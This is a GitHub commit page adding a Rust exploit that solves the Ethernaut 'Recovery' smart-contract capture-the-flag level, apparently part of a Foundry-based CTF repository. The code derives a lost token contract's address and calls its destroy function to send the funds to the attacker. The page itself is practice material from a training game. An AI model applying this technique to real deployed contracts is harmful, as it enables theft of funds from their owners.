generated from foundry-rs/foundry-rust-template
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
33 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
use async_trait::async_trait; | ||
use ctf::ethernaut::lvl17_recovery::*; | ||
use ethers::prelude::*; | ||
|
||
pub(crate) struct Exploit; | ||
|
||
#[async_trait] | ||
impl ctf::Exploit for Exploit { | ||
type Target = Target; | ||
|
||
async fn attack( | ||
self, | ||
target: &Self::Target, | ||
offender: &ctf::Actor, | ||
) -> eyre::Result<()> { | ||
let derived_address = | ||
ethers::utils::get_contract_address(target.address, 1); | ||
|
||
let token = SimpleToken::new(derived_address, offender.to_owned()); | ||
|
||
token.destroy(offender.address()).send().await?.await?; | ||
|
||
Ok(()) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Large diffs are not rendered by default.
Oops, something went wrong.